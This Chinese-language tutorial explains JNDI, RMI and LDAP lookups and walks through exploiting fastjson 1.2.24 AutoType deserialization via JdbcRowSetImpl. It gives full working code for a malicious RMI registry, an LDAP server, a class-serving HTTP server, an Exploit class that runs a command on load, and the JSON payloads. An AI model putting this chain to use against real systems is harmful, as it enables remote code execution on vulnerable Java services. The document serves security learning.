声明
本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。
JNDI 是什么
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
JNDI 包含在Java SE中,不需要引用第三方jar即可使用。要使用 JNDI 必须要有一个或多个服务提供者。JDK 本身已经包括了下面几种服务提供者。
- 轻量级目录访问协议 (LDAP)
- CORBA 公共对象服务命名(COS naming)
- Java 远程方法调用 (RMI)
- 域名服务 (DNS)
这么说起来还是有点抽象,简单理解就是服务提供者提供一个类似Key Value的数据,JNDI可以通过这个 Key 获取到服务提供者上的提供的Value,因此JNDI是无法单独使用的。
使用JNDI的方式也很简单,下面就是一个获取远程对象的示例代码。
// 创建一个上下文对象
InitialContext context = new InitialContext();
// 查找监听在本地 1099 端口上 RMI 服务的 Object 对象
Object obj = context.lookup("rmi://localhost:1099/Object");
RMI 是什么
RMI 是 Remote Method Invocation 的缩写,中文含义为远程方法调用,即一个Java程序调用调用另一个Java程序暴露出来的方法。
RMI 有三个概念:
- Registry : 提供服务注册和服务获取,服务端将类名称,存放地址注册到Registry中,以供客户端获取。
- Server : 远程方法的提供者。
- Client : 远程方法的调用者。
远程方法的定义需要满足两个条件:
- 实现
java.rmi.Remote
。 - 继承
java.rmi.server.UnicastRemoteObject
。
RMI 使用示例
Registry
创建 Registry
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;
public class RmiRegistry {
private final static Integer rmiPort = 1099;
public static void main(String[] args) throws RemoteException, InterruptedException {
// 创建一个 Registry
LocateRegistry.createRegistry(rmiPort);
System.out.println("RMI server started on: 0.0.0.0:" + rmiPort);
// 阻塞主线程,避免程序退出
CountDownLatch countDownLatch = new CountDownLatch(1);
countDownLatch.await();
}
}
Server
定义接口,目的是给 Client 使用。
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
void sayHello(String name) throws RemoteException;
}
定义实现类
import java.rmi.RemoteException;
public class HelloServiceImpl implements HelloService {
@Override
public void sayHello(String name) throws RemoteException {
System.out.println("hello " + name);
}
}
注册对象,需要先使用 UnicastRemoteObject.exportObject() 将对象转换为 skeleton,skeleton 是 RMI 底层创建的一个代理对象,它继承了 java.rmi.server.UnicastRemoteObject
,负责与 Client 进行网络通信。
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public static void main(String[] args) throws Exception {
// 实例化要暴露的对象
HelloService helloService = new HelloServiceImpl();
// 将对象暴露出去,RMI 底层会创建该对象的一个代理对象,并监听一个端口用于处理来自客户端的请求
HelloService skeleton = (HelloService) UnicastRemoteObject.exportObject(helloService, 1100);
/*================= 注册方式一开始 ====================*/
// 获取 Registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 将这个对象注册到 Registry 中,第一个参数就是这个对象在 Registry 中的名称,客户端需要使用这个名称才能获取到这个对象
registry.bind("helloService", skeleton);
/*================= 注册方式一结束 ====================*/
/*================= 注册方式二开始 ====================*/
// Naming.bind("rmi://localhost:1099/helloService", skeleton);
/*================= 注册方式二结束 ====================*/
System.out.println("export helloService");
}
}
可以看到注册方式二要比一简洁很多,这是 RMI 为了方便开发者使用,将注册方式一包装了一层,点击源码可以看到它的实现方式和注册方式一很相似。
public static void bind(String name, Remote obj)
throws AlreadyBoundException,
java.net.MalformedURLException,
RemoteException
{
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (obj == null)
throw new NullPointerException("cannot bind to null");
registry.bind(parsed.name, obj);
}
Client
定义接口,因为 Server 和 Client 存在不同的 Java 程序中,Client 想要调用 Server 上面的服务需要知道方法才可以。
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
void sayHello(String name) throws RemoteException;
}
获取对象并调用,在这里获取到的对象是 stub,stub 负责与 Server 进行网络通信,例如在调用 sayHello()
方法时RMI通过网络请求位于服务端的真正方法,如果有返回值时还会将内容传递回来。
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
/*================= 获取方式一开始 ====================*/
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
HelloService stub = (HelloService) registry.lookup("helloService");
/*================= 获取方式一结束 ====================*/
/*================= 获取方式二开始 ====================*/
// HelloService stub = (HelloService) Naming.lookup("rmi://localhost:1099/helloService");
/*================= 获取方式二结束 ====================*/
stub.sayHello("守法市民小杜");
}
}
同理 Naming 也提供了获取远程对象的功能,它的源码如下:
public static Remote lookup(String name)
throws NotBoundException,
java.net.MalformedURLException,
RemoteException
{
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (parsed.name == null)
return registry;
return registry.lookup(parsed.name);
}
测试
按照 Registry > Server > Client 这个顺序启动,可以看到 Client 调用成功之后 Server 打印了如下内容:
hello 守法市民小杜
Registry、Server、Client 的调用关系可以总结为这个图:
JNDI + RMI 组合使用
定义 Registry
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.text.MessageFormat;
public class RMIServer {
private static final Integer rmiServerPort = 1099;
private static final String httpServerAddress = "127.0.0.1";
private static final Integer httpServerPort = 80;
public static void main(String[] args) throws Exception {
// 工程地址,目的是让 JNDI 加载位于此处的类文件
String factoryLocation = MessageFormat.format("http://{0}:{1}/", httpServerAddress, httpServerPort + "");
// 创建 Registry
Registry registry = LocateRegistry.createRegistry(rmiServerPort);
// 创建 JNDI 的引用
// className 远程对象的类名称,不能为null
// factory 加载类成功后要实例化的类名称
// factoryLocation 提供类文件的地址,为null时从本地加载
Reference reference = new Reference("Exploit", "Exploit", factoryLocation);
// 将 JNDI引用 包装为 RMI 可注册的类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 将类信息注册到 Registry
registry.bind("Exploit", referenceWrapper);
System.out.println("[*] RMI server listening on: 0.0.0.0:" + rmiServerPort);
}
}
可以看到我们创建 Registry 之后并没有 export
某一对象,是创建了一个 JNDI 的 Reference,目的是为了让 JNDI 去加载位于此处的类文件。
既然我们指定了类文件的存放地址是一个HTTP地址,那我们生成一个类,并且将其存放到这个HTTP服务下。
恶意类,简单起见不要添加包名称。
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
HTTP服务,这里我为了方便使用了 sun 公司内置在 jdk 中的一个http server,也可以使用 nginx、apache、tomcat 等web服务器,只需要将编译后的 Exploit.class
放到根目录下即可。
import com.sun.net.httpserver.HttpServer;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
public class WebServer {
private static final Integer port = 80;
public static void main(String[] args) throws IOException, NotFoundException, CannotCompileException {
// 使用 javassist 获取类字节
ClassPool classPool = ClassPool.getDefault();
final CtClass ctClass = classPool.get(Exploit.class.getName());
// 修改类的名称,这里是为了去除类的包名,与 RMI Server 中保持一致
ctClass.setName("Exploit");
final byte[] bytes = ctClass.toBytecode();
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", httpExchange -> {
// 将类的字节写入到 response 中
System.out.println("Req Begin...");
httpExchange.sendResponseHeaders(200, bytes.length);
final OutputStream responseBody = httpExchange.getResponseBody();
responseBody.write(bytes);
responseBody.close();
System.out.println("Req End.");
});
System.out.println("WebServer started at 0.0.0.0:" + port);
server.start();
}
}
最后我们写一个JNDI和RMI组合使用的测试
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDI_RMI {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://localhost:1099/Exploit");
System.out.println("obj = " + obj);
}
}
请求之后会输出会是一段异常代码,并且弹出了计算器,这是正常的。
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at cn.typesafe.jsv.fastjson.JNDI_RMI.main(JNDI_RMI.java:12)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464)
... 4 more
我们点击进入异常堆栈提示的代码 at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
可以看到在加载类成功后使用反射创建了这个类,并且进行了强制转换,而我们定义的这个类和javax.naming.spi.ObjectFactory
没有任何关系,在强转时必然异常,但这并不影响我们添加的代码已经执行了。
JNDI和RMI的调用流程大致是:JNDI 在请求到 RMI 之后,RMI 返回了 Exploit 的 http 地址,JNDI 则通过网络获取到了这个类文件,通过类加载器将其加载到了JVM中并且实例化了这个类,而 Exploit 的静态代码块内是打开计算器的代码,实例化时就会执行这段代码。
Fastjson 的 RMI/JNDI 利用漏洞
在上一节中我们有讲到利用 fastjson 的 AutoType 功能,可以指定反序列化的类。安全人员利用 com.sun.rowset.JdbcRowSetImpl
的 JNDI 功能刚好能够触发上面介绍的那个流程。
com.sun.rowset.JdbcRowSetImpl
有两个重要属性
- dataSourceName 数据源名称
- autoCommit 触发JNDI请求的关键参数
dataSourceName
的 set 方法可以忽略,就是一个正常的参数赋值。
autoCommit
的 set 方法如下:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
com.sun.rowset.JdbcRowSetImpl
在反序列化后 conn
参数必然为空,会进入 this.connect()
方法,代码如下。
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
刚说了 conn
参数必然为空,因此就会执行 if
的第二个分支,进行了 JNDI 请求。
因此构造一个 POC 也就十分简单了。
import com.alibaba.fastjson.JSON;
public class Eval3 {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
启动了 RMIServer
和 WebServer
后执行这段代码即可完成漏洞利用。
LDAP + JNDI
2017年 Oracle 发布了新版 JDK 默认禁用了通过存储在命名和目录服务中的 JNDI 对象工厂进行远程类加载。要通过 RMI Registry 或 COS Naming 服务提供者启用远程类加载,请根据需要将以下系统属性设置为字符串“true”:
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
详细的版本信息如下:
JRE 家庭版 | JRE 安全基线(完整字符串) |
---|---|
8 | 1.8.0_121-b13 |
7 | 1.7.0_131-b12 |
6 | 1.6.0_141-b12 |
来源:https://www.oracle.com/java/technologies/javase/7u131-relnotes.html
因此安全人员又挖掘到了基于 LDAP + JNDI 的利用方式,流程和 RMI + JNDI 基本相同。
首先是创建一个 LDAP 服务,我们这里使用到了 unboundid-ldapsdk
这个库。
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.text.MessageFormat;
public class LDAPServer {
private static final String javaCodeBase = "http://127.0.0.1:80/";
private static final String javaClassName = "Exploit";
public static void main(String[] args) throws Exception {
int port = 1389;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new EvalInMemoryOperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
public static class EvalInMemoryOperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String baseDN = result.getRequest().getBaseDN();
Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", javaClassName);
e.addAttribute("javaFactory", javaClassName);
e.addAttribute("javaCodeBase", javaCodeBase);
e.addAttribute("objectClass", "javaNamingReference");
System.out.println(MessageFormat.format("Send LDAP reference result for {0} redirecting to {1}{2}.class", baseDN, javaCodeBase, javaClassName));
try {
result.sendSearchEntry(e);
} catch (LDAPException ex) {
ex.printStackTrace();
}
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Http 服务保持不变
测试代码修改为
import com.alibaba.fastjson.JSON;
public class Eval4 {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
只需要修改 dataSourceName
的地址。
启动 LDAP 服务和 Http 服务后,执行测试代码也可以完成利用。
但好景不长,Oracle 官方在 Java SE:6u201、7u191、8u182 也修复了这个问题。
注
文中测试使用系统和工具版本如下:
- 操作系统 windows 10 20H2
- jdk java 1.8.0_41-b04
- fastjson 1.2.24
- javassist 3.28.0-GA
- unboundid-ldapsdk 6.0.2
- 代码仓库 https://github.com/dushixiang/java-serialization-vulnerability
其他
挖掘漏洞是一个你来我往的过程,一个漏洞出现之后必然会伴随着后续版本的修复,除了那种已经不再更新的类库,因此在选择框架或类库时完善度和活跃度都是重要的度量标准。
fastjson 在后续的版本中也很快修复了这些漏洞,但安全人员又不断挖掘新的利用方式,在下一篇我们也会介绍在 fastjson 几个重要版本的更新内容和新的利用方式,以及在高版本的JDK中如何利用。